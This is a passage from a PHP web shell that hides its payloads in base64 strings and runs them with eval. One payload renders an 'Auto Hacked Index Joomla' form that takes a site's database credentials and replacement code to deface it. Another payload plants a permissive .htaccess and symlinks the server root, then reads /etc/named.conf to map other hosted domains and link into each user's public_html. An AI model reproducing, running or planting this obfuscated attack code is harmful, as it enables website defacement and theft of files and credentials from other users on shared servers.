jaG8gIg0KXG4iOyANCmVjaG8gIkJPRFkgeyBTQ1JPTExCQVItQkFTRS1DT0xPUjogIzE5MTkxOTsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBvbGl2ZTsgICBjb2xvcjogd2hpdGU7fQ0KXG4iOyANCmVjaG8gInRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6IzE5MTkxOTtjb2xvcjpyZWQ7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LXNpemU6IDEycHg7Zm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2Njt9DQpcbiI7IA0KZWNobyAiaW5wdXR7Rk9OVC1XRUlHSFQ6bm9ybWFsO2JhY2tncm91bmQtY29sb3I6ICMxOTE5MTk7Zm9udC1zaXplOiAxM3B4O2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6IHJlZDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjtoZWlnaHQ6MTd9DQpcbiI7IA0KZWNobyAiPC9zdHlsZT4NClxuIjsgDQplY2hvICI8Y2VudGVyPg0KXG4iOyANCmVjaG8gIjxmb250IGNvbG9yPVwiI0ZGRkY2RkZcIiBzaXplPScrMSc+WyBBdXRvIEhhY2tlZCBJbmRleCBKb29tbGEgXTwvZm9udD48YnI+PGJyPg0KXG4iOyANCmVjaG8gIjxGT1JNIGFjdGlvbj1cIlwiICBtZXRob2Q9XCJwb3N0XCI+DQpcbiI7IA0KZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZm9ybV9hY3Rpb25cIiB2YWx1ZT1cIjJcIj4NClxuIjsgDQplY2hvICI8YnI+DQpcbiI7IA0KZWNobyAiPHRhYmxlIGJvcmRlcj0xPg0KXG4iOyANCmVjaG8gIg0KXG4iOyANCmVjaG8gIjx0cj48dGQ+ZGJfcHJlZml4IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIHNpemU9XCIzMFwiIG5hbWU9XCJkYl9wcmVmaXhcIiB2YWx1ZT1cImpvc19cIj48L3RkPjwvdHI+DQpcbiI7IA0KZWNobyAiPHRyPjx0ZD5kYl91c2VybmFtZSA8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiMzBcIiBuYW1lPVwiZGJfdXNlcm5hbWVcIiB2YWx1ZT1cIlwiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPmRiX3Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjMwXCIgbmFtZT1cImRiX3Bhc3N3b3JkXCIgdmFsdWU9XCJcIj48L3RkPjwvdHI+DQpcbiI7IA0KZWNobyAiPHRyPjx0ZD5kYl9uYW1lPC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjMwXCIgbmFtZT1cImRiX25hbWVcIiB2YWx1ZT1cIlwiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPkFkbWluIENvbnRyb2wgcGFuZWwgdXJsPC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cInNpdGVfdXJsXCIgdmFsdWU9XCJodHRwOi8vc2l0ZS5jb20vYWRtaW5pc3RyYXRvci9cIj48L3RkPjwvdHI+DQpcbiI7IA0KZWNobyAiDQpcbiI7IA0KZWNobyAiPC90YWJsZT4NClxuIjsgDQplY2hvICI8YnI+DQpcbiI7IA0KZWNobyAiPGJyPg0KXG4iOyANCmVjaG8gIjxURVhUQVJFQSByb3dzPVwiMThcIiAgY29scz1cIjUwXCIgbmFtZT1cImNvZGVcIj48L1RFWFRBUkVBPg0KXG4iOyANCmVjaG8gIgk8YnI+DQpcbiI7IA0KZWNobyAiPElOUFVUIGNsYXNzPXN1Ym1pdCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJTdWJtaXRcIiBuYW1lPVwiU3VibWl0XCI+DQpcbiI7IA0KZWNobyAiPC9GT1JNPg0KXG4iOyANCmVjaG8gIiA8Y2VudGVyPiA8Zm9udCBjb2xvcj1cIiNGRkZGNkZGXCIgc2l6ZT0nKzEnPiAgIEF5YWggLSBzdWdhLmxpQHJvY2tldG1haWwuY29tICAgIDwvZm9udD48YnI+PGJyPiA8Y2VudGVyPlxuIjs=");
     eval($almooj);
 }
 if ($x == "sym") {
     $knilmys = base64_decode("QHNldF90aW1lX2xpbWl0KDApOw0KJHJ4MSA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiRyeDIgPWV4cGxvZGUoJy8nLCRyeDEgKTsNCiRyeDEgPXN0cl9yZXBsYWNlKCRyeDJbY291bnQoJHJ4MiktMV0sJycsJHJ4MSApOw0KDQpAbWtkaXIoJ3N5bScsMDc3Nyk7DQokcngxICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQokcngyID1AZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KZndyaXRlKCRyeDIgLCRyeDEpOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KaWYoaXNzZXQoJF9SRVFVRVNUWyd4J10pKQ0Kew0Kc3dpdGNoICgkX1JFUVVFU1RbJ3gnXSkNCnsNCmNhc2UgJ3N5bSc6DQokcng0ID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOw0KaWYoISRyeDQpDQp7DQpkaWUgKCIgY2FuJ3QgcmVhZCAvZXRjL25hbWVkLmNvbmYiKTsNCn0NCmVsc2UNCnsNCmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+PHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD5Eb21haW5zPC90ZD48dGQ+VXNlcnM8L3RkPjx0ZD5TeW1saW5rIDwvdGQ+IjsNCmZvcmVhY2goJHJ4NCBhcyAkcng1KXsNCmlmKGVyZWdpKCd6b25lJywkcng1KSl7DQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJHJ4NSwkcng2KTsNCmZsdXNoKCk7DQppZihzdHJsZW4odHJpbSgkcng2WzFdWzBdKSkgPjIpew0KJHJ4NyA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kcng2WzFdWzBdKSk7DQokcng4ID0gJHJ4N1snbmFtZSddIDsNCkBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsNCiRyeDggPSAkcng2WzFdWzBdOw0KJHJ4OSA9ICdcLmlyJzsNCiRyeDEwID0gJ1wuaWwnOw0KaWYgKGVyZWdpKCIkcng5Iiwkcng2WzFdWzBdKSBvciBlcmVnaSgiJHJ4MTAiLCRyeDZbMV1bMF0pICkNCnsNCiRyeDggPSAiPGRpdiBzdHlsZT0nIGNvbG9yOiAjRkYwMDAwIDsgdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4IHJlZDsgJz4iLiRyeDZbMV1bMF0uJzwvZGl2Pic7DQp9DQplY2hvICINCjx0cj4NCg0KPHRkPg0KPGRpdiBjbGFzcz0nZG9tJz48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj1odHRwOi8vd3d3LiIuJHJ4NlsxXVswXS4nLz4nLiRyeDguJyA8L2E+IDwvZGl2Pg0KPC90ZD4NCg0KDQo8dGQ+DQonLiRyeDdbJ25hbWUnXS4iDQo8L3RkPg0KDQo8dGQ+DQo8YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJHJ4N1snbmFtZSddLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5zeW1saW5rIDwvYT4NCjwvdGQ+DQoNCjwvdHI+PC9kaXY+ICI7DQpmbHVzaCgpOw0KfQ0KfQ0KfQ0KfQ0KfQ0KfQ==");
     eval($knilmys);
 }